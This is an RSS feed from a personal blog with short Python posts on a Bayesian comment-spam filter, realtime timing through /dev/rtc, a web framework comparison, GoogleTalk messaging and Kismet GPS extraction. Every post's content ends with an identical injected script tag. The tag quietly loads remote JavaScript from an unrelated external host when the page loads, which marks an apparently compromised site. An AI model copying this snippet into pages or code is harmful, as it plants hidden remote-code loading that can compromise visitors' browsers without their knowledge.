<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; Misc</title>
	<atom:link href="http://www.larsen-b.com/topics/python/misc-python/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>I found the secret behind the Guido job at Google</title>
		<link>http://www.larsen-b.com/Article/246.html</link>
		<comments>http://www.larsen-b.com/Article/246.html#comments</comments>
		<pubDate>Sun, 26 Nov 2006 00:23:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[fun]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[This is a bit funny, but all is on the GoogleMasterPlan . As you can see to hire Guido, they decided to send spam. Hum, really happy to find Python on this stuff :)]]></description>
				<content:encoded><![CDATA[<p>This is a bit funny, but all is on the <a class="reference" href="http://picasaweb.google.com/cdibona/RIPGoogleMasterPlan/photo#4979945846336323602">GoogleMasterPlan</a> . As you can see  to hire Guido, they decided to send spam. Hum, really happy to find Python on this stuff :)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/246.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Howto to spam-protect your python-based blog with bayesian filter.</title>
		<link>http://www.larsen-b.com/Article/244.html</link>
		<comments>http://www.larsen-b.com/Article/244.html#comments</comments>
		<pubDate>Fri, 17 Nov 2006 19:57:26 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[bayesian]]></category>
		<category><![CDATA[Blog]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[As severall people, I run into issue with some spammer using my comment system to spam, and post backlinks. (Even using some funny stuffs) I &#8216;m already using a good email spam filter: SpamBayes, so I decided to test bayesian &#8230; <a href="http://www.larsen-b.com/Article/244.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>As severall people, I run into issue with some spammer using my comment system to spam, and post backlinks. (Even using some funny <a class="reference" href="http://www.larsen-b.com/Article/239.html">stuffs</a>)</p>
<p>I &#8216;m already using a good email spam filter: <a class="reference" href="http://www.larsen-b.com/Article/112.html">SpamBayes</a>, so I decided to test bayesian filtering for the spam on this blog too.</p>
<p>I decided to give <a class="reference" href="http://divmod.org/trac/">Reverend</a> a try:</p>
<pre class="literal-block">from reverend.thomas import Bayes

SPAM_DB='spam.bayes'
guesser = Bayes()

# load the spam DB
try:
    guesser.load(SPAM_DB)
except IOError:
    print "Creating a new spam filter database"
    guesser.save(SPAM_DB)

def train_spam(text):
    guesser.train('spam',text)
    guesser.save(SPAM_DB)

def train_ham(text):
    guesser.train('ham',text)
    guesser.save(SPAM_DB)

# try to guess the spam / ham ratio of a text
def guess(text):
    spam = 0
    ham = 0
    value = guesser.guess(text)
    for o in value:
        if o[0] == 'ham': ham = o[1]
        if o[0] == 'spam': spam = o[1]
    return (ham,spam)</pre>
<p>Small, and really simple module no ? The next step, simply add a &#8216;spam&#8217; and &#8216;ham&#8217; attributes on your comment post. And add two methods to train the comment as a spam or a ham.. And of course, only display comments which have a good ratio ( &gt;1) ham/spam. This took me about 1 hour to implement&#8230;</p>
<p>After a week, of train, this is working very fine, not a single false positive, and it filter every spam since the first trains. As I get around 20 spams post per day, this is quite a good news ;)</p>
<p><strong>Enjoy Bayesian ?</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/244.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Python powered Tux ?</title>
		<link>http://www.larsen-b.com/Article/235.html</link>
		<comments>http://www.larsen-b.com/Article/235.html#comments</comments>
		<pubDate>Wed, 09 Aug 2006 23:00:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[gadget]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[usb]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Not really, but this nice Tux droid, can be pluged in USB, and the commands are sent via a Python DBUS binding. Hum a stupid question, can we use the Python USB API directly ? With time, Python really became &#8230; <a href="http://www.larsen-b.com/Article/235.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Not really, but <a class="reference" href="http://www2.tux-is-alive.com/wiki/Applications">this nice Tux</a> droid, can be pluged in USB, and the commands are sent via a <a class="reference" href="http://www.freedesktop.org/wiki/Software/dbus#head-e2844d090b2d64ddc5bdff51b624d1e98de56ae3">Python DBUS</a> binding. Hum a stupid question, can we use the Python USB API directly ?</p>
<p>With time, Python really became a powerfull tool for hardware hackers :) That&#8217;s perhaps why I like it so much ?<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/235.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Python blackhat tools ?</title>
		<link>http://www.larsen-b.com/Article/222.html</link>
		<comments>http://www.larsen-b.com/Article/222.html#comments</comments>
		<pubDate>Wed, 29 Mar 2006 15:53:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[skype]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Yesterday, somebody send me a link to some really interesting slides: Silver Needle in the Skype. This really impress me, how much energy Skype spent to hide his code, and protect their buisness. But on the other side, the work &#8230; <a href="http://www.larsen-b.com/Article/222.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Yesterday, somebody send me a link to some really interesting slides: <a class="reference" href="http://www.blackhat.com/presentations/bh-europe-06/bh-eu-06-biondi/bh-eu-06-biondi-up.pdf">Silver Needle in the Skype</a>. This really impress me, how much energy Skype spent to hide his code, and protect their buisness. But on the other side, the work done to dissect the binary and the protocols is even more surprising. (What a great job !!)</p>
<p>I have to admit that I used Python for quite everything, and that I&#8217;ve ever done some strange stuff with it (a IPTV packet scrapper, firewall shapping .. )  but this guys<br />
pushed the limit far beyong from what I&#8217;m seeing like usual python use. And the best part: they wrote some powerfull tools ( and use them to &#8220;debug skype&#8221;), and publish them.</p>
<p>Look at <a class="reference" href="http://www.secdev.org/projects/">here</a>, you will find a bunch of really backhat python tools written by the <a class="reference" href="http://www.secdev.org/">Secdev team</a>.</p>
<p>/Enjoy<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/222.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Playing with Realtime with Python</title>
		<link>http://www.larsen-b.com/Article/221.html</link>
		<comments>http://www.larsen-b.com/Article/221.html#comments</comments>
		<pubDate>Tue, 24 Jan 2006 08:54:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[rtc]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[For a little app, I need to send stream over UDP at a fixed rate. I have done severals tests w/ some buffers and sleep(), but I can&#8217;t achieve the desired speed. Mainly because sleep() doesn&#8217;t provide a stable enought &#8230; <a href="http://www.larsen-b.com/Article/221.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>For a little app, I need to send stream over UDP at a fixed rate. I have done severals tests w/ some buffers and sleep(), but I can&#8217;t achieve the desired speed. Mainly because sleep() doesn&#8217;t provide a stable enought result.</p>
<p>I decided to look at this a little deeply, and decided to use <strong>/dev/rtc</strong> to do the trick. Here a little example of the stuff.</p>
<pre class="literal-block">from  fcntl import ioctl
import os, time

# some linux kernel header
RTC_IRQP_SET = 1074032652
RTC_PIE_ON =  28677
RTC_PIE_OFF = 28678

# open the realtime clock
f = open ("/dev/rtc", "r")
fd = f.fileno()

# 2048 freq
ioctl(fd,RTC_IRQP_SET,2048)
ioctl(fd,RTC_PIE_ON,0)

t0 = time.time()
interupt = 0

# the read will block until the next interrupt.
while interupt &lt; 1000 :
    os.read(fd,4)  # 4 = size of double
    interupt = interupt + 1

delta = time.time() - t0
print interupt / delta

# drop the scheduler
ioctl(fd,RTC_PIE_OFF,0)</pre>
<p>This is quite accurate enought, the only issue is that I&#8217;m unable to call the <em>sched_setscheduler()</em> from Python right now. So, if the host isn&#8217;t loaded I get the 2048 interrupts.. but it can be less :(</p>
<p><strong>Update</strong>:<br />
The <em>sched_setscheduler</em> can be done w/ a simple pyrex extension:</p>
<pre class="literal-block">cdef extern from "sched.h":
struct sched_param:
int sched_priority
int sched_setscheduler(int pid, int policy,sched_param  *p)

SCHED_FIFO = 1

def switchRTCPriority(nb):
cdef sched_param sp
sp.sched_priority = nb
sched_setscheduler (0,SCHED_FIFO , &amp;sp);</pre>
<p>After this quick Pyrex hack, I now have a accurate realtime interrupt in Python ;)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/221.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Playing with binary in Python</title>
		<link>http://www.larsen-b.com/Article/220.html</link>
		<comments>http://www.larsen-b.com/Article/220.html#comments</comments>
		<pubDate>Thu, 15 Dec 2005 10:05:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[avr]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[While debuging an AVR microcontroller, you need to play with bits. After playing with my calculator I decided to find another way to decode bin/hex etc .. I found a good recipe on ASPN. Now, this is a little reminder &#8230; <a href="http://www.larsen-b.com/Article/220.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>While debuging an <a class="reference" href="http://www.atmel.com/products/AVR/">AVR</a> microcontroller, you need to play with bits. After playing with my calculator I decided to find another way to decode bin/hex etc ..  I found a good <a class="reference" href="http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/219300">recipe</a> on ASPN.</p>
<p>Now, this is a little reminder for people (like me) which doesn&#8217;t read binary op fluently.</p>
<pre class="literal-block"># This will off the bits according to value
x &amp;= ~(value) 

# Here a little reverse: This will set bits on according to value
x |= value</pre>
<p>Have fun w/ bits  :)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/220.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Python on Rails: The bazzar</title>
		<link>http://www.larsen-b.com/Article/216.html</link>
		<comments>http://www.larsen-b.com/Article/216.html#comments</comments>
		<pubDate>Sat, 17 Sep 2005 22:51:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[django]]></category>
		<category><![CDATA[paste]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[ror]]></category>
		<category><![CDATA[turbogears]]></category>
		<category><![CDATA[Zope]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Everybody know Ruby on Rails right now. There is a lot of post all over the web, showing us the new latest new web programming style. This is a little funny because in a past life (4 years ago), I &#8230; <a href="http://www.larsen-b.com/Article/216.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Everybody know <a class="reference" href="http://www.rubyonrails.org/">Ruby on Rails</a> right now. There is a lot of post all over the web, showing us the new latest new web programming style. This is a little funny because in a past life (4 years ago), I worked on something quite similar for Zope, name <a class="reference" href="http://modeling.sf.net">ZModeling</a>. And I guess a lot of people has done the same, by generating the html from a data model (It tooks me about 1hours to do that for my latest website). That&#8217;s it and this is the latest hype stuff. IT loves hype !</p>
<p>Anyway, as this become usual, (grrr) there is a bunch of projects that try to clone the rails features. The well know python proverb can be used:<br />
<strong>Divide to loose</strong></p>
<p>Here &#8216;s a little list:</p>
<div id="django" class="section">
<h1><a name="django">Django</a></h1>
<p><a class="reference" href="http://www.djangoproject.com/documentation/overview/">Django</a> is the total new one, it&#8217;s written from scratch, and doesn&#8217;t re-use anything.</p>
<ul class="simple">
<li>it use mod_python for apache integration (no SCGI for lighttpd ??)</li>
<li>custom ORM</li>
<li>custom template engine (why not another one !!)</li>
</ul>
<p>This one has a lot of good comments, and a lot of people see in this stuff a Zope killer app.. or something like that but ..</p>
</div>
<div id="subway" class="section">
<h1><a name="subway">Subway</a></h1>
<p><a class="reference" href="http://subway.python-hosting.com/">Subway</a> was born just after Ruby on rails, and is the direct competitor.</p>
<ul class="simple">
<li>CherryPy: stable, simple and robust HTTP framework</li>
<li>SQLObject: the world famous ORM for Py</li>
<li>Cheetah: a plain old fashion template engine.</li>
</ul>
<p>This is nothing more a app skelton generator, with a little wraps around the whole stuffs, nothing magic, but simple .. perhaps too simple ?</p>
</div>
<div id="turbogears" class="section">
<h1><a name="turbogears">TurboGears</a></h1>
<p><a class="reference" href="http://www.turbogears.org/">TurboGears</a> is a the latest one I think</p>
<ul class="simple">
<li>CherryPy</li>
<li>SQLObject ORM</li>
<li>Kid template: a simple ZPT like</li>
<li>A powerfull Ajax toolkit.</li>
</ul>
<p>The API is a bit Frankhein right now I think (I don&#8217;t like the raise CherryPy in the middle), and the templating is not powefull enought. But it&#8217;s really interesting (meanly the Ajax API).</p>
</div>
<div id="paste" class="section">
<h1><a name="paste">Paste</a></h1>
<p>Paste is something a bit different of rails, It has a more large framework</p>
<ul class="simple">
<li>WSGI</li>
<li>SQLObject ORM</li>
<li>ZPT: The powerfull Zope Page Templates</li>
</ul>
</div>
<div id="so-now-which-is-the-best" class="section">
<h1><a name="so-now-which-is-the-best">So now, which is the best ?</a></h1>
<p>Perhaps none right now:</p>
<ul class="simple">
<li>Django use (for me) too much indoor product, I think there is a lot goods frameworks for python right now, and re-writting a ORM expose the project to a some strange bugs, or missing features, or wrong design (the meta api is freak) . same for template engine.</li>
<li>Subway and TurboGears are really quite the same product, and they are lacking of some features like the admin page for objects. I prefer TurboGears meanly for the Ajax toolkit.</li>
<li>Paste, is as usual a very well written stuff from Ian. The API is clear, and tools are well known. But I think the framework take too much place. I mean force you too use it&#8217;s configuration stuff, and other WSGI server.</li>
</ul>
<p>So perhaps, you can pick just one of this, as they&#8217;re all looking close:</p>
<ul class="simple">
<li>If you want to discover something really different: Django</li>
<li>If you want something closer to rails: TurboGears</li>
<li>If you like the servlet and threads choose: Paste ..</li>
</ul>
<p>But take care that the framework you choose feet with:</p>
<ul class="simple">
<li>your way of web programming (servlet vs controller + template)</li>
<li>the project load (I mean mod_python is awfull to debug but provide some very good performance)</li>
</ul>
<p>Anyways, the choice is really hard because it&#8217;s time to choose right now, and I believe that some frameworks will die sooner than others.. Django seems to be the next big python project, but some people share my opinion about :&#8221; I don&#8217;t want to learn another ORM !&#8221;</p>
<p>But, beside there is a lot of frameworks, they &#8216;re loosing the main goal: <strong>Using a good framework is a good stuff. But using good products is better</strong>. They all miss the component model. HTTP + ORM + Template engine = Web Framework, but for a application framework you need a little more. Some stuffs have been done on Webware, and Quixote about this, but it looks like people designing framework never look at the past, and keep on going building the same stuff over and over.</p>
<p>What we need now, is a application framework. Something we can use to build website not webapp. Clients are now asking for : &#8220;I need something to post articles + a forum + a wiki + ..&#8221; That&#8217;s too much for a quick answer like: &#8220;Ok I gonna use this web frameworks&#8221;. On the PHP scene right now, you have some great products that tend to share some component, like user rights, templating .. and this is really a bad news for Python users, because the only stuff we have to fight against this is Zope. And it&#8217;s getting even worst since right now, most products need Plone and all the bloat it&#8217;s about.</p>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/216.html/feed</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Howto to Talk with GoogleTalk in Python</title>
		<link>http://www.larsen-b.com/Article/214.html</link>
		<comments>http://www.larsen-b.com/Article/214.html#comments</comments>
		<pubDate>Tue, 30 Aug 2005 22:00:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[jabber]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[xmpp]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I guess everybody know GoogleTalk right now. Linux users like me knows that it &#8216;s only a Jabber server with SIP extension. Like a lot of people seems to use this, I decided to switch from MSN(suxTm) to this Jabber &#8230; <a href="http://www.larsen-b.com/Article/214.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I guess everybody know GoogleTalk right now. Linux users like me knows that it &#8216;s only a <a class="reference" href="http://www.jabber.org">Jabber</a> server with SIP extension. Like a lot of people seems to use this, I decided to switch from MSN(suxTm) to this Jabber server, beside it lacks a lot of Jabber features (like offline messaging )</p>
<p>But, how can I send a message to my Gmail Talk in less 10 lines of code. I decided to look at <a class="reference" href="http://xmpppy.sourceforge.net/">xmpppy</a> .. Ok I get a strange issue w/ secure login ..</p>
<p>As I already use <a class="reference" href="http://gajim.org/">gajim</a>, I decided to look at this code.. Hum, look strange it has the same xmpp module, with the same API, but this one is working.</p>
<pre class="literal-block">import xmpp

login = 'Your.Login' # @gmail.com
pwd   = 'YourPassword'

cnx = xmpp.Client('gmail.com')
cnx.connect( server=('talk.google.com',5223) )

cnx.auth(login,pwd, 'botty')

cnx.send( xmpp.Message( "YourFriend@gmail.com" ,"Hello World form Python" ) )</pre>
<p>As you can see this is small and simple :) The only issue is to find the right module, and hope the <a class="reference" href="http://xmpppy.sourceforge.net/">xmpppy</a> will fix that soon.</p>
<p>(In fact <a class="reference" href="http://gajim.org/">gajim</a> team seems to fork the xmpp code due to lack of support. This bug already exists in the <a class="reference" href="http://xmpppy.sourceforge.net/">xmpppy</a> bug list )<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/214.html/feed</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
		<item>
		<title>Hacking your window manager with Python</title>
		<link>http://www.larsen-b.com/Article/208.html</link>
		<comments>http://www.larsen-b.com/Article/208.html#comments</comments>
		<pubDate>Mon, 27 Jun 2005 16:12:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[window manager]]></category>
		<category><![CDATA[x11]]></category>
		<category><![CDATA[xfce]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I was looking for a way to hack my window manager in Python. I want to use special piece of code to handle the window placement, or display stuffs in the background.. It looks like pyxfce meet my needs, so &#8230; <a href="http://www.larsen-b.com/Article/208.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I was looking for a way to hack my window manager in Python. I want to use special piece of code to handle the window placement, or display stuffs in the background..</p>
<p>It looks like <a class="reference" href="http://pyxfce.xfce.org/">pyxfce</a> meet my needs, so I decided to give it a try. The first thing to do is to build the latest svn of xfce. Next step play with the python wrapper.</p>
<p><strong>Update</strong>: You don&#8217;t need the latest version (svn) of xfce. <a class="reference" href="http://pyxfce.xfce.org/">pyxfce</a> works w/ xfce 4.2.1. The debian package is broken, as rely on a old libxfcegui (4.1)</p>
<p><strong>Update 2</strong>: Debian package is fixed right now :)</p>
<p>Here is a little example of what you can do without too much pain. This script wait for every new window, and stack it on the same workspace as previous other windows of the same app. For example, the emacs windows is launched of the workspace &#8217;4&#8242;, all other emacs windows will be displayed on this workspace.</p>
<pre class="literal-block">import sys
import xfce4
import gtk

black_list = ['xfrun4','Terminal']

def newWinHandler(screen,win):
    name =  win.get_resource_name()
    if name not in black_list:
       for w in screen.get_windows():
           if w != win and w.get_resource_name() == name:
              dest = w.get_workspace()
              win.move_to_workspace( dest )
              break

screen = xfce4.netk.screen_get_default()
screen.connect("window-opened",newWinHandler)
gtk.main()</pre>
<p>The major issue of <a class="reference" href="http://pyxfce.xfce.org/">pyxfce</a> is the lack of documentation, you can do a lot of stuffs with it like creating custom xfce applications, but i didn&#8217;t find anything about this.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/208.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Extract GPS from Kismet log with ElementTree</title>
		<link>http://www.larsen-b.com/Article/204.html</link>
		<comments>http://www.larsen-b.com/Article/204.html#comments</comments>
		<pubDate>Mon, 23 May 2005 21:58:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[gps]]></category>
		<category><![CDATA[kismet]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Wifi]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I have read a lot of noise about ElementTree but never really used it. Tonight i need to extract a bunch of GPS data from a kismet log file. Let&#8217;s give it a try from elementtree import ElementTree data = &#8230; <a href="http://www.larsen-b.com/Article/204.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I have read a lot of noise about <a class="reference" href="http://effbot.org/zone/element-index.htm">ElementTree</a> but never really used it. Tonight i need to extract a bunch of GPS data from a kismet log file. Let&#8217;s give it a try</p>
<pre class="literal-block">from elementtree import ElementTree

data = open('Kismet-May-22-2005-4.xml','r').read()

detection = ElementTree.XML(data)

for node in detection.getchildren():
try:
print "SSID: " + node.find('SSID').text,
except AttributeError:pass  #hidden SSID
print "BSSID: " +  node.find('BSSID').text,
gps = node.find('gps-info')
print "Lon: " + gps.find('max-lon').text +  " Lat: "  + gps.find('max-lat').text</pre>
<p>Really simple, and seems to offer really good speed. I now have another weapon for every day work.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/204.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
